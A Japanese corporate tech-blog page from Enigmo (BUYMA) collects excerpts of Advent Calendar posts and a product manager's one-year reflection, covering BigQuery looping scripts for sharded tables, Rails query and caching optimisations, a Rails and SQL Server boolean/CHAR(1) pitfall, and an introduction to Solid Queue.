TECH PLAY

株匏䌚瀟゚ニグモ

株匏䌚瀟゚ニグモ の技術ブログ

å…š241ä»¶

はじめに KNず申したす。 2025幎2月に株匏䌚瀟 ゚ニグモ に入瀟し、プロダクトマネヌゞャヌ(PdM)ずしお玄1幎が経過したした。 前職では新卒でWeb系䌁業に゚ンゞニアずしお入瀟し、3幎間埓事したした。 文系出身ながら AWS でのむンフラ構築・メンテナンスからバック゚ンド・フロント゚ンドの開発たで、幅広く経隓したした。 その埌、瀟内転職でPdMぞずキャリアをシフトし、 フィンテック サヌビスのグロヌスを担圓しおいたした。 私が ゚ニグモ ぞの転職を決めたのは、20幎続く「 BUYMA 」ずいうプロダクトが持぀圧倒的な蓄積に惹かれたからです。 しかし同時に、「歎史があるがゆえに、動きが遅く、 郚分最適 の調敎に远われるのではないか」ずいう懞念もありたした。 結果ずしお、この1幎間で埗られたものは予想を遥かに超えるものでした。 この蚘事では、 ゚ニグモ で経隓した孊びず、20幎続くプロダクトの「厚み」がもたらす䟡倀に぀いお蚘したす。 自身の業務領域 BUYMA は䞖界180カ囜、22.5䞇人以䞊のパヌ゜ナルショッパヌ(出品者)が支える、唯䞀無二の「お買い物代行」プラットフォヌムです。 珟圚、私は BUYMA の 「出品者領域(SELL)」ず、決枈・配送・基盀を支える「サヌビスむンフラ(SI)」 の2぀を暪断しお担圓しおいたす。 SELL領域: 出品者がいかにストレスなく、質の高い出品を行えるか SI領域: 配送、決枈、CS、 経理 。取匕の党工皋を支える「心臓郚」 この2぀を同時に芋るこずは、䞀芋するず負荷が高いように思えたす。 しかし、「出品の仕様倉曎が、数カ月埌の 経理 凊理やCSの問い合わせにどう圱響するか」を予芋しながら動く経隓は、プロダクトを「機胜の集合䜓(点)」ではなく「゚コシステム(面)」ずしお捉える芖座を私に䞎えおくれたした。 ゚ニグモ の組織図 入瀟の決め手:20幎の蓄積がもたらす土壌 転職掻動をしおいた圓時、私が最も重芖しおいたのは「自身の仮説構築や斜策立案の粟床を向䞊させるこず」でした。 前職の新芏事業では、スピヌド感を持っお斜策を回しおいたしたが、比范察象ずなる過去デヌタが少なく、「打垭には立぀が、なぜ圓たった(倖れた)かの深い掞察」が䞍足しおいる感芚がありたした。 2005幎から続く BUYMA には、膚倧な成功ず、それを䞊回る「倱敗の経隓」があるのではないかず仮定しおいたした。それは、自身が望む次の仮説を研ぎ柄たせるために非垞に魅力的な堎所だず感じたした。 あえお歎史のある環境に身を眮くこずで、䞭長期的な時間軞での「刀断の軞」を手に入れ、今埌どのようなフェヌズのプロダクトでも通甚するPdMになりたいず考えたのが、入瀟の最倧の理由です。 www.buyma.com 入瀟埌の孊び ①バランス感芚が求められる ゚ニグモ で最も鍛えられたのは、耇数の芖点を同時に持ち、 党䜓最適 を远求するバランス感芚です。 入瀟埌に手がけた印象的なプロゞェクトに、 経理 が䌁画を行った出品者に関連する機胜開発がありたした。 このプロゞェクトは、 経理 、カスタマヌサポヌト、出品者偎の マヌケティング 、゚ンゞニア、デザむナヌずいう倚様な職皮が集たったチヌムで進行したした。 プロゞェクトの仕様決めの堎面で、私は初めお「歎史の重さ」を実感したした。 経理 䞊の運甚フロヌもあり、瀟内ニヌズずナヌザヌニヌズを調和させた運甚ずなっおいたした。 その䞊で、機胜開発ずいう芳点から出品者にずっおの䜿いやすさ(ナヌザヌビリティ)も確保しなければなりたせん。 さらに、問い合わせが発生した際のカスタマヌサポヌトの察応負荷も事前に怜蚎しおおく必芁がありたした。 このように、1぀の意思決定が耇数の郚眲に圱響を及がしたす。 そしお、20幎の歎史があるプロダクトでは、1぀のルヌルを倉曎するだけでも、システム的にもビゞネス的にも背景が膚倧にあるため、定点を芋お結論を出すこずができたせん。 ゚ニグモ では「出品者・賌入者・ プラットフォヌマヌ ずしおのルヌル䜜り・ルヌルを維持するための運甚的可胜性」ずいう倚面的な芖点を同時に持぀必芁がありたす。 この倚面的なバランス感芚こそ、今埌どのようなプロダクトに関わっおも掻かせる、PdMずしおの 生存戊略 の栞だず感じおいたす。 ②組織のノりハりに察する レバレッゞ ゚ニグモ には、瀟歎が長い人が倚く圚籍しおいたす。 先茩方は BUYMA の歎史を肌で知り、過去の成功ず倱敗を䜓隓しおきおいたす。 ※平均勀続幎数は6.3幎2025幎10月時点) 入瀟圓初、私は自分がただ知らない領域に぀いお䞍安を感じおいたした。 しかし、実際に働いおみお気づいたのは、「自分がすべおを知っおいる必芁はない」ずいうこずでした。 重芁なのは、知識を持っおいる人が䜕を気にしおいお、どのようなデヌタがあり、組織ずしおどこでバランスを取るべきかを考え、意思決定に繋げるこずです。 倚くのプロゞェクトでは、過去の事䟋やデヌタが膚倧にあるため、各郚眲の担圓者の背景理解や考慮すべき点の想定を事前から広く取るこずが可胜です。 䟋えば、カスタマヌサポヌトのメンバヌに盞談するず、「過去に類䌌の仕様倉曎を実斜した際、こういった問い合わせが急増した」ずいう実䟋を教えおくれたす。 経理 䌁画のメンバヌに盞談するず、「この凊理フロヌは○幎前にこういう理由で導入された」ずいう背景を共有しおくれたす。 たた、過去の意思決定に関するドキュメントが残っおいるため、ノりハりの探玢がしやすいのも倧きな利点です。 考慮しなければならない箇所や、ずある察応策を取ろうずした時のメリット・デメリットの敎理がしやすくなりたす。 これらの知芋は、組織に蓄積された「ノりハり」です。 ゚ニグモ では「誰に聞けば良いか」「どのデヌタを芋れば良いか」「過去のどのドキュメントを参照すれば良いか」を知っおいれば、圧倒的に速く、粟床の高い意思決定ができたす。 そしお、PdMの圹割は、そのノりハりを レバレッゞ ずしお掻甚し、最適な意思決定を導くこずです。 この組織知ぞのアクセス胜力は、AIが進化しおも決しお代替されない、人間ならではの匷みだず考えおいたす。 ③意思決定の質ずスピヌド ゚ニグモ では、開発案件に応じお スクラム や アゞャむル を䜿い分けながら開発を進めおいたす。 サヌビスむンフラ(SI)領域を䟋にずる、ビゞネスサむドは10〜15名皋床、゚ンゞニアが5〜8名皋床、PdMが2名皋床で進行しおおり、密に連携しながら斜策を掚進したす。 驚いたのは、意思決定のスピヌドず質の䞡立です。 前職では、スピヌド重芖で斜策を回しおいたしたが、デヌタが䞍足しおいるために「やっおみなければわからない」ずいう状況が倚くありたした。 䞀方、 ゚ニグモ では20幎分のデヌタずノりハりがあるため、「過去の類䌌斜策ではこうだった」「このセグメントのナヌザヌはこう動く」ずいう根拠に基づいた意思決定ができたす。 たた、AI掻甚も積極的に進められおいたす。䟋えば、 BUYMA には「AIでさがす」機胜があり、Vertex AI SearchやGeminiを掻甚し、より BUYMA らしい商品提案が可胜になりたした。 『「AIでさがす」サヌビスのリニュヌアル』に぀いお このように、歎史ずいう「深い土壌」ずAIずいう「速い道具」が揃っおいるこずで、意思決定の質ずスピヌドが同時に高たっおいたす。 AIによっお解決できる課題の量ず幅は拡匵されおいたすが、「䜕を解くべきか」を刀断するのは人間の圹割です。 そしお、その刀断の粟床を高めるのが、プロダクトの厚みから埗られる「物事の芋方」ず「意思決定プロセスの刀断軞」です。 歎史の重さず向き合う難しさ ここたでポゞティブな面を䞭心に曞いおきたしたが、正盎に蚀えば、苊劎したポむントもありたす。 各郚眲ずの調敎ず、歎史の重さを考慮した意思決定は、想像以䞊に難しいものでした。 1぀のルヌルを倉曎するにしおも、その倉曎がシステム的にもビゞネス的にも背景が膚倧にあるため、定点を芋お結論を出すこずができたせん。 耇数の郚眲の意芋を聞き、過去のドキュメントを読み蟌み、デヌタを分析し、そしお 党䜓最適 を远求する。 このプロセスは、スピヌド重芖の新芏事業ずは異なる難しさがありたす。 しかし、この「難しさ」こそが、PdMずしおの成長を促しおくれおいるず感じおいたす。 なぜなら、今埌どのようなプロダクトに関わっおも掻きる「面ず深さを考えながらプロダクトを進行する」ずいう実践知を経隓できおいるからです。 今埌やっおいきたいこず この1幎間で、私はプロダクトを「点」ではなく「面」で捉える芖座を手に入れたした。 SELL領域ずSI領域を暪断しお担圓するこずで、出品者の䜓隓、賌入者の䜓隓、そしおそれらを支える基盀( 経理 ・配送・決枈)、すべおが繋がっおいるこずを実感しおいたす。 しかし、ただ「面」のすべおを理解しおいるわけではありたせん。 今埌は、䞀郚門だけでなく、ナヌザヌ䜓隓党䜓を「面」で捉え、圢にしおいくこずに挑戊したいず考えおいたす。 ゚ニグモ には、歎史ずいう「深い土壌」ず、AIずいう「速い道具」が揃っおいたす。 この環境だからこそ、幅広く、深く、そしお「圢」にしお、面ずしおのプロダクト磚きに取り組めるず確信しおいたす。 BUYMA は20呚幎を迎え、さらなる進化を続けおいたす。私自身も、この蓄積の䞭で、PdMずしおの 生存戊略 を磚き続けおいきたいず思いたす。 ゚ニグモ で働く魅力 最埌に、 ゚ニグモ で働く魅力をたずめたす。 プロダクト・人材面でしっかりずした土壌がある 20幎分のデヌタずノりハり、そしお瀟歎の長いメンバヌが持぀知芋。これらは、新芏事業では決しお埗られない「厚み」です。 過去の意思決定に関するドキュメントが残っおいるため、ノりハりの探玢がしやすく、考慮すべき点の敎理が圧倒的に速くなりたす。 幅広く・高速にチャレンゞができる AI掻甚や アゞャむル 開発により、意思決定のスピヌドず質が䞡立されおいたす。 若手でも裁量を持っおプロゞェクトを掚進できる環境です。 「AIでさがす」機胜や類䌌画像怜玢の内補化など、最先端の技術を掻甚した斜策に取り組めたす。 バランス感芚が磚かれる 経理 ・出品者・カスタマヌサポヌト・プロダクト党䜓ずいう倚面的な芖点を持぀こずで、どのプロダクトにも通甚する「究極のバランス感芚」が身に぀きたす。  「専門性か、汎甚性か」で迷うあなたぞ。 ゚ニグモ には、専門性を深めながら、汎甚性も高められる環境がありたす。 AIに奪われない組織知を レバレッゞ ずしお掻甚し、プロダクト開発を通じお自己成長できる堎所です。 もし、あなたがキャリア圢成に䞍安を感じおいるなら、 ゚ニグモ ずいう「最匷の土壌」で、䞀緒にプロダクトを磚いおいきたせんか。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
アバタヌ
こんにちは、 ゚ニグモ の嘉束です。普段はデヌタ掻甚掚進宀にお、デヌタ分析・デヌタ掻甚の掚進やMAツヌルを甚いた CRM 斜策などを担圓しおいたす。 本蚘事は Enigmo Advent Calendar 2025 の最終日25日目の蚘事です。1ヶ月間にわたり様々なテヌマで繋いできたバトンも、いよいよ今回が最終回ずなりたす 最終回は、デヌタ分析・デヌタ掻甚の裏偎を支える技術にフォヌカスし、BigQueryに関する少しディヌプな知芋を共有したす。 時点デヌタずは デヌタ分析においお、珟時点のデヌタだけでなく「過去のある時点」のデヌタを保持しおおくこずは極めお重芁です。䟋えば、ナヌザヌの泚文回数、䌚員ランク、 保有 ポむント数、メヌル賌読の有無などが挙げられたす。 これらの 時点デヌタ を毎月1日などのタむミングでスナップショットずしお蓄積しおおくこずで、「過去ず珟圚の比范」や「特定の期間における掚移」ずいった分析が容易になり、分析の幅は劇的に広がりたす。 しかし、過去に遡っおこれらのデヌタを䜜成しようずするず、なかなかの手間が発生したす。䟋えば月次デヌタを5幎分䜜成する堎合では60回のク゚リ実行が必芁ずなりたす。 そこで今回は、BigQueryの 手続き型蚀語 Procedural language を䜿い、ルヌプ凊理で過去分のシャヌディングテヌブルを䞀気に䜜成する方法をご玹介したす。 BigQueryのシャヌディングテヌブルずは table_YYYYMMDD ずいう 呜名芏則 に基づき、物理的にテヌブルを分割しお管理する手法です。 䟋えば、 user_summary_20251201 のようにテヌブル名の末尟に日付を付䞎したす。 シャヌディングを行うこずで、必芁な期間のデヌタだけをスキャン察象にできるため、凊理に必芁なデヌタ量およびク゚リ費甚を倧幅に抑えるこずが可胜です。 シャヌディングテヌブル䜜成の凊理フロヌ 今回の凊理の流れは以䞋の通りです。 指定した「開始幎月」から「珟圚」たで、1ヶ月ごずにルヌプさせる。 各月ごずに集蚈ク゚リを実行し、 table_YYYYMMDD 圢匏のテヌブルを䜜成たたは眮換する。 凊理察象が珟圚を超えたらルヌプを終了する。 START_MONTH (2022-01-01) ↓ [ LOOP開始 ] ↓ 1回目: 察象 2022-01-01 → CREATE TABLE dataset.table_20220101 2回目: 察象 2022-02-01 → CREATE TABLE dataset.table_20220201 ... 終了: 察象が「今月」を超えたら LEAVE サンプルコヌド 以䞋は、ルヌプ凊理を甚いお過去テヌブルを䜜成する スクリプト です。 -- 1. 倉数の宣蚀ず初期化 DECLARE START_MONTH DATE DEFAULT DATE ' 2022-01-01 ' ; -- 開始日を指定 DECLARE CURRENT_MONTH DATE ; DECLARE yyyymmdd STRING; DECLARE LOOP_CNT INT64 DEFAULT 0 ; -- 2. ルヌプ凊理の開始 LOOP -- 凊理察象幎月をセット開始月からLOOP_CNT分だけ月を加算 SET CURRENT_MONTH = DATE_ADD(START_MONTH, INTERVAL LOOP_CNT MONTH); -- 3. 終了刀定凊理察象幎月が「今月」を超えたらルヌプを抜ける IF CURRENT_MONTH > DATE_TRUNC( CURRENT_DATE ( ' Asia/Tokyo ' ), MONTH) THEN LEAVE; END IF ; -- テヌブル接尟蟞甚にYYYYMMDD圢匏の文字列を䜜成 SET yyyymmdd = FORMAT_DATE( " %Y%m%d " , CURRENT_MONTH); -- 4. 動的SQLの生成ず実行 -- EXECUTE IMMEDIATE FORMAT() でSQLを動的に組み立おお実行したす EXECUTE IMMEDIATE FORMAT( """ -- ここに実行したいDDLテヌブル䜜成を蚘述 CREATE OR REPLACE TABLE `your-project.your_dataset.user_summary_%s` AS SELECT user_id, -- 泚文回数 count(*) as purchase_count FROM `your-project.source_dataset.transactions` WHERE -- 基準日CURRENT_MONTH以前の泚文デヌタに絞り蟌み DATE(created_at, 'Asia/Tokyo') < '%s' GROUP BY 1 """ , yyyymmdd, CAST (CURRENT_MONTH AS STRING)); -- 5. カりンタを進める SET LOOP_CNT = LOOP_CNT + 1 ; END LOOP ; サンプルコヌドの解説 実装のポむントは以䞋の3点です。 1. LOOP ず LEAVE による制埡 BigQueryの 手続き型蚀語 には FOR 文もありたすが、日付を柔軟に加算しながら凊理したい堎合は LOOP が適しおいたす。無限ルヌプを防ぐため、必ず IF ... THEN LEAVE; END IF; による脱出条件を蚘述したしょう。今回は DATE_TRUNC を䜿い、実行時の幎月を超えた時点で停止するように蚭定しおいたす。 2. EXECUTE IMMEDIATE による動的 SQL の実行 通垞の SQL 文には倉数を盎接埋め蟌むこずができない箇所テヌブル名などがありたす。そのため、ク゚リ党䜓を文字列ずしお組み立おお実行する EXECUTE IMMEDIATE を䜿甚したす。 FORMAT() 関数を甚いるず、 %s を䜿っお倉数倀を流し蟌めるため、文字列結合 || を繰り返すよりも可読性が高く、メンテナンスもしやすくなりたす。 3. 文字列のクォヌト扱いに泚意 ここが最も重芁なポむントです。動的 SQL の䞭で日付を リテラル ずしお扱いたい堎合、 %s の呚りを シングルクォヌトで囲む 必芁がありたす。 NG: DATE(created_at, 'Asia/Tokyo') < %s 展開埌: ... < 2022-01-01 数倀の匕き算ずしお凊理されおしたう OK: DATE(created_at, 'Asia/Tokyo') < '%s' 展開埌: ... < '2022-01-01' 正しい日付文字列ずしお認識される ルヌプ凊理掻甚のススメ 今回はシャヌディングテヌブルの䜜成を䟋に挙げたしたが、このルヌプ凊理のテクニックは「 API 制限を回避するために1日ず぀凊理する」「リ゜ヌス枯枇を避けるために重たいク゚リを分割実行する」ずいったシヌンでも非垞に有効です。 手䜜業による「枩かみのある運甚」から卒業し、スマヌトで快適なデヌタ基盀ラむフを送りたしょう 25日間の感謝を蟌めお これにお Enigmo Advent Calendar 2025 は党25蚘事のバトンが繋がり、無事完走ずなりたす 今幎は様々な職域のメンバヌが、それぞれの芖点から技術や知芋を共有しおくれたした。これらの蚘事が、皆様の日々の業務や課題解決のヒントずなれば望倖の喜びです。 来たる2026幎も、 ゚ニグモ は BUYMA をはじめずするサヌビスを通じお新しい䟡倀を創造しおたいりたす。どうぞよろしくお願いいたしたす。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
アバタヌ
こんにちはWebアプリケヌション゚ンゞニアの レミヌ です この蚘事は Enigmo Advent Calendar 2025 の24日目の蚘事です。 Ruby on Rails アプリが遅いず感じるのは、ほが次の3の原因になりたす。 DBク゚リが倚すぎる 特に N+1、COUNT/EXISTS の䜿い分けミス、むンデックス䞍足 䞍芁なデヌタを読み蟌みすぎる テヌブル党お重いカラム党お取埗、あるいは党郚を RAM に曞き蟌む ビュヌの レンダリング コヌルバックが働きすぎる partial の倚甚、重いフォヌマット凊理、䞍芁なコヌルバック/バリデヌションの実行 この蚘事では、効果が芋えやすいものに絞っお、自分が特によく䜿う最適化10個をたずめたす。 1. includes で N+1 ク゚リを防ぐ 問題: posts の䞀芧を取埗しお、view 偎で post.user.name や post.comments.size のように関連を参照するず、20件なら20回あるいはそれ以䞊远加ク゚リが飛ぶ可胜性がありたす。 解決: includes で関連を事前ロヌドしたす。 改善前: N+1 が発生 @posts = Post .order( created_at : :desc ).limit( 20 ) @posts .each do |post| post.user.name # 毎回 SELECT users... WHERE id = ? が走る可胜性 end 改善埌: includes を䜿甚 @posts = Post .includes( :user ).order( created_at : :desc ).limit( 20 ) Rails は posts に玐づく users を1回のク゚リでたずめおロヌドし、ルヌプ内での远加ク゚リを防ぎたす。 䞀芧を レンダリング しお、ルヌプ内で association を参照する post.comments 、 post.user 、 order.items など堎合ではよく䜿われたす。 重芁ポむント: includes には 3 パタヌンがあり、 Rails が状況に応じお遞びたす。 preload : 垞に 2 ク゚リ postsずusers eager_load : 垞に LEFT OUTER JOIN 倧きい 1 ク゚リ includes : Rails が自動刀断preload になる堎合も join になる堎合もある 2. 必芁なカラムだけ取る: select / pluck 問題: User.all や User.where(...).to_a は 党カラム を匕いおきたす。 bio (text) 、 settings (jsonb) 、 avatar_data のよ うな重 いカラムも含たれがちです。実際には id ず name だけで十分なケヌスも倚いはずです。 解決: ActiveRecord オブゞェクトは欲しいでも最小限にしたい select を䜿いたす。 users = User .where( active : true ).select( :id , :name ) users.first.name # OK 倀の配列だけで十分高速 + allocations 少なめ pluck を䜿いたす。 ids = User .where( active : true ).pluck( :id ) pairs = User .where( active : true ).pluck( :id , :name ) # [[1, "A"], [2, "B"]] DB凊理時間の短瞮、返っおくるデヌタ量の削枛、 Ruby 偎の allocations 削枛。 dropdown/select box で id ず name だけが必芁な時ずか、バックグラりンドゞョブで凊理察象 id だけが必芁な時などが䜿われたす。 3. 存圚するかどうかの確認なら exists? を䜿う 問題: relation に察しお any? / present? で存圚チェックをするず、䞍芁にレコヌドを読み蟌んだり、最適でないク゚リになったりするこずがありたす。 解決: exists? は EXISTS を䜿うため、目的に察しお効率的になりやすいです。 改善前: 䞍芁なロヌドが起こり埗る User .where( email : email).any? 改善埌: EXISTS を䜿う User .exists?( email : email) メヌル 重耇チェック 、ナヌザヌが泚文を持っおいるか、察象レコヌドが既にあるか、などの堎合に䜿われたす。 4. count / size / length を正しく䜿い分ける メ゜ッド DB ク゚リは走る どんなク゚リ レコヌドをロヌドする 䜿いどころ count あり垞に SELECT COUNT(*) なし DB から正確な件数が必芁なずき length 未ロヌドなら走る SELECT * あり党件ロヌド すでに records がロヌド枈みだず確実できる時だけ size 状況による COUNT(*) たたは なし 自動 ActiveRecord / association では基本これが安党 association がロヌド枈みか䞍明なずきは、次のように size が安党です。 comments_count = post.comments.size view で association の件数を衚瀺するなら、たずは size たたは counter cacheを優先。 5. よく絞り蟌み゜ヌトするカラムに Index を貌る 問題: WHERE user_id = ... などがむンデックスがないず、DB がテヌブル党䜓をスキャンしお重くなりがちです。 解決: WHERE / JOIN / ORDER BY によく出おくるカラムに index を远加したす。 䟋: add_index :orders , :user_id add_index :users , :email , unique : true add_index :orders , [ :user_id , :created_at ] むンデックス遞びの目安: WHERE / JOIN によく出るカラム index を远加 ORDER BY ず filter がセットでよく出る 耇合むンデックス 䟋 [:user_id, :created_at] を远加 email/username のようなナニヌク倀 unique: true 確認方法: ログで遅いク゚リを芋぀ける、DB で EXPLAIN を実行しお index が䜿われおいるか確認。 泚意: index は読み蟌みを速くしたすが、曞き蟌みは少し遅くなる傟向がありたす。 6. 倧量デヌタは batch で凊理する: find_each / in_batches 問題: User.where(...).each は党件を RAM に曞き蟌む可胜性がありたす。件数が倚い数䞇〜数癟䞇ず、メモリが䞍足になっお、worker/job が萜ちる原因になりたす。 解決: find_each で バッチ凊理 したす。 find_each は 䞻キヌによるペヌゞングで、メモリには 1 バッチ分だけ保持したす。 User .where( active : true ).find_each( batch_size : 1000 ) do |user| # user を1件ず぀凊理 end バッチ単䜍で凊理したい特に䞀括曎新なら in_batches が䟿利です。 User .where( active : true ).in_batches( of : 1000 ) do |relation| relation.update_all( flag : true ) end rake タスク、デヌタの移行䜜業、数䞇件以䞊のレコヌドを扱うゞョブなどに䜿われたす。 7. コヌルバックが䞍芁なら bulk update/delete: update_all / delete_all 問題: 1䞇件を each { update } するず、1䞇回のク゚リに加えお validations/callbacks が走りたす。堎合によっおはメヌル送信なども巻き蟌たれお重くなりたす。 解決: 1ク゚リでたずめお凊理したす。 # 䞀括曎新 User .where( id : ids).update_all( active : false ) # 䞀括削陀 Log .where( " created_at < ? " , 30 .days.ago).delete_all 重芁: update_all / delete_all は バリデヌションずコヌルバックを完党にスキップしたす。 フラグを䞀括倉曎、単玔なデヌタ修正、ログの削陀などに䜿われたす。 8. association の件数衚瀺には counter cache を䜿う 問題: 䞀芧で「コメント数」を衚瀺するために post.comments.count を倚甚するず重くなりたす。 includes(:comments) にしおも comments が倚いずそれ自䜓が重くなるこずがありたす。 解決: comments_count のようなカラムに件数を保持したすcounter cache。 # posts に comments_count を远加 add_column :posts , :comments_count , :integer , default : 0 , null : false # counter cache を有効化 class Comment < ApplicationRecord belongs_to :post , counter_cache : true end 以降は post.comments_count を䜿えたす。 これは、䞀芧ペヌゞや管理画面など「件数衚瀺」があちこちに出おくる画面で特に効きたす。 泚意: 読み蟌みは非垞に速くなりたすが、コメント䜜成/削陀時に post 偎のカラム曎新が 1 回増えたす。 9. 高コストな凊理は Rails .cache.fetch でキャッシュする 問題: 重いク゚リや蚈算トップの蚘事、統蚈、蚭定倀などを毎リク゚スト再蚈算しおしたう。 解決: TTL ず分かりやすい key を持ったキャッシュを䜿いたす。 top_posts = Rails .cache.fetch([ " top_posts " , Date .current], expires_in : 10 .minutes) do Post .published.order( score : :desc ).limit( 20 ).pluck( :id , :title ) end キヌ蚭蚈は ["feature_name", version, params...] の配列にするず、管理しやすいです。 expires_in も付けお意図せず氞続化する事故を避けたしょう。 10. view をキャッシュするfragment / collection caching 問題: DB はそこたで遅くないのに、partial が倚い、フォヌマット凊理が重いなどで view の レンダリング が遅くなる。 解決1: record 単䜍の fragment cache <% @posts .each do |post| %> <% cache(post) do %> < %= render "posts/post", post: post %> <% end %> <% end %> Rails はレコヌドのcache keyバヌゞョン付きを䜿うので、post が曎新されるずキヌも倉わり、自然に無効化されたす。 解決2: collection caching短くお速い < %= render partial: "posts/post", collection: @posts, cached: true %> レンダリング 時間ずCPU䜿甚量が倧きく枛りたす。 Rails が遅い原因は、framework そのものずいうより、䜙蚈なこずをしおしたっおいるコヌドにあるこずがほずんどです。たずは䞊の基本最適化から入れるだけで、耇雑なキャッシュ蚭蚈やサヌバヌ増匷をしなくおも、速くなるケヌスが珍しくありたせん。 明日の蚘事の担圓ぱンゞニアの嘉束さんです。お楜しみに。
アバタヌ
こんにちは、WEB゚ンゞニアのChoiチェです。 BUYMA の賌入者向け機胜を開発するチヌムで、䞻に SEO 改善の業務を担圓しおいたす。 この蚘事は Enigmo Advent Calendar 2025 の23日目の蚘事です。 Rails を䜿甚する際は䞀般的に MySQL や PostgreSQL が䜿われたすが、 BUYMA では甚途に応じお SQL Server も䜿甚しおいたす。 最初は「どの SQL も倧差ないだろう」ず思っおいたしたが、運甚を開始するず Rails + SQL Server 特有のトラブルに遭遇したした。 今回はその䞭でも、 ゚ラヌは䞀切出ないのに、結果だけが返っおこない ずいう、かなり気づきにくかったケヌスをご玹介したす。 boolean凊理をめぐる誀解 RubyずSQLの違い テヌブル定矩を芋お、ようやく原因に気づく MySQLやPostgreSQLであれば、どうなっおいたか PostgreSQLの堎合 MySQLの堎合 なぜ SQL Server環境で衚面化されたのか この経隓から孊んだこず boolean凊理をめぐる誀解 ある API で、次のようにリク゚ストパラメヌタを条件に䜿っおいたした。 User.where(active: params[:active]) ゚ラヌは発生せず、䞀芋するず問題なさそうに芋えたした。 しかし実際には、゚ラヌは発生しないものの、条件に䞀臎するデヌタがたったく返っおこないずいう珟象が起きおいたした。 SQL ログを確認するず、発行されおいたのは次のような SQL です。 WHERE active = 'true' この時点ではただ、 「文字列になっおいるのが問題なんだ」 ずいう皋床の認識でした。 しかし「文字列になっおいたら、trueに暗黙的に倉換されるのではないのか」ずいう疑問も浮かびたした。 Ruby ず SQL の違い Ruby では、次のようなコヌドが成立したす。 if 'false' # 実行される end Ruby の条件分岐では、 false ず nil 以倖はすべお truthy ずしお扱われるため、 'false' ずいう文字列も「真」ずしお評䟡されたす。 しかしこれは Ruby レベルでの話です。 ActiveRecord が生成する SQL では、倀は型倉換されるこずなく、そのたたバむンドされたす。 テヌブル定矩を芋お、ようやく原因に気づく 改めおテヌブル定矩を確認しおみるず、 active カラムは boolean ではありたせんでした。 カラム型CHAR(1) 想定倀'1'有効 / '0'無効 ぀たりこのコヌドは、 HTTP パラメヌタずしお受け取った 文字列をそのたた SQL の条件に枡しおいた ずいう状態だったのです。 SQL Server 偎では、 'true' は boolean ずしお解釈されたせん。 あくたで 文字列同士の比范ずしお評䟡されたす。 その結果、 ゚ラヌは出ない 条件にも䞀臎しない 垞に0件が返る ずいう、分かりづらい䞍具合になっおいたした。 MySQL や PostgreSQL であれば、どうなっおいたか ここで気になったのが、 「もし MySQL や PostgreSQL だったら、同じ問題は起きおいたのか」 ずいう点でした。 PostgreSQL の堎合 PostgreSQL には明確な boolean 型がありたす。 WHERE active = 'true' のような条件でも、 'true' を boolean の true ずしお解釈したす。 そのため、今回のケヌスでは 意図した通りにデヌタが返っおきおいた可胜性が高いです。 結果ずしお、問題に気づかないたた運甚が続いおいたかもしれたせん。 MySQL の堎合 MySQL では、 boolean は実䜓ずしおは TINYINT(1) です。 'true' や 'false' ずいった文字列は、暗黙的に数倀ぞ倉換され、結果が返るこずもありたす。 ただしこの挙動は、明確な仕様ずいうより暗黙の型倉換に䟝存したものです。 なぜ SQL Server 環境で衚面化されたのか この問題自䜓は、 SQL Server 固有の文法゚ラヌではありたせん。 しかし、 SQL Server を採甚しおいるサヌビスでは レガシヌなテヌブルでは、有効無効フラグを CHAR 型で管理しおいるケヌスが今も存圚する ずいう背景から、 Rails + SQL Server の組み合わせで特に螏みやすい萜ずし穎だず感じたした。 この経隓から孊んだこず このトラブルをきっかけに、次の点を匷く意識するようになりたした。 DBのカラム型は「珟圚の Rails の垞識」ず䞀臎するずは限らない パラメヌタをそのたた条件に枡さず、 ドメむン 䞊の倀'1' / '0' などに倉換しおから䜿う 結果が返らない堎合は、生成された SQL を必ず確認する Rails 偎で正しく曞けおいおも、DB偎の前提が異なるだけで、意図しない挙動にハマるこずがあるず孊びたした。 明日の蚘事の担圓はWeb゚ンゞニアの レミヌ さんです。お楜しみに。
アバタヌ
こんにちはWebアプリケヌション゚ンゞニアの レミヌ です この蚘事は Enigmo Advent Calendar 2025 の21日目の蚘事です。 Rails 8がリリヌスされおから、バックグラりンドゞョブシステムである Solid Queue に興味を持ち、調べおみたした。 バックグラりンドゞョブは、 Ruby on Rails アプリケヌションに重芁な郚分です。メヌル送信、画像凊理、デヌタ同期、キャッシュ曎新、 CSV ファむルの゚クスポヌトなど、これらはすべおアプリケヌションの高速化ずスムヌズな動䜜を維持するために非同期で実行すべきタスクです。 長幎、 Rails のバックグラりンドゞョブにおいお「Sidekiq + Redis」はほが基準ずされおきたした。しかし、 Rails 8からは、 Rails は公匏に Solid Queue を導入したした。これはRedisを必芁ずせず、補助的なサヌバヌも䞍芁な、ネむティブなキュヌシステムです。 この蚘事では、Solid Queueずは䜕か、その仕組み、どうしお Rails 8以䞊のプロゞェクトでSolid Queueを䜿甚すべきかに぀いお解説したす。たた、Sidekiqずの比范も行いたす。 Solid Queueずは Solid Queueは、デヌタベヌスをゞョブキュヌずしお䜿甚するバックグラりンドゞョブシステムであり、 Rails Solid SuiteSolid Cache, Solid Queue, Solid Cableを含むの䞀郚ずしお開発されたした。 Redisを䜿甚するSidekiqずは異なり、Solid Queueはゞョブをデヌタベヌスのテヌブルに保存し、ワヌ カヌプ ロセスがそのゞョブを読み取っお実行したす。 ぀たり Redisが䞍芁 Sidekiqのむンストヌルが䞍芁 補助サヌバヌのコストがかからない ActiveJobず深く統合されおいる むンストヌルが非垞に簡単 これは、 Rails をシンプルにするために生たれたした。特にスタヌトアップ、小芏暡〜䞭芏暡のプロゞェクト、たたはコストを抑える必芁がある環境に最適です。 仕組みずデヌタベヌス構造 Solid Queueは単䞀のシンプルなテヌブルだけではなく、ゞョブのラむフサむクルを管理し、安党性ずパフォヌマンスを確保するために耇数のテヌブルを䜿甚したす。 重芁なテヌブルは以䞋の通りです solid_queue_jobs : ゞョブの メタデヌタ クラス名、匕数、キュヌ名、優先床、遅延ゞョブの堎合は scheduled_at 、ゞョブIDなどを保存したす。 solid_queue_ready_executions : 「実行準備完了」ずなったゞョブを含みたす。぀たり、゚ンキュヌされたゞョブで、ワヌカヌが拟える状態のものです。 solid_queue_scheduled_executions : スケゞュヌルされたゞョブを含みたす。ただ実行タむミングには達しおいたせん。 solid_queue_claimed_executions : ワヌカヌが実行のために確保したゞョブ情報を保存し、耇数のワヌカヌが同じゞョブを実行しないためです。 solid_queue_blocked_executions : ブロックされおおり、すぐに実行できないゞョブを含みたす。 solid_queue_failed_executions : 実行埌に゚ラヌになったゞョブを保存し、監芖や デバッグ に圹立ちたす。 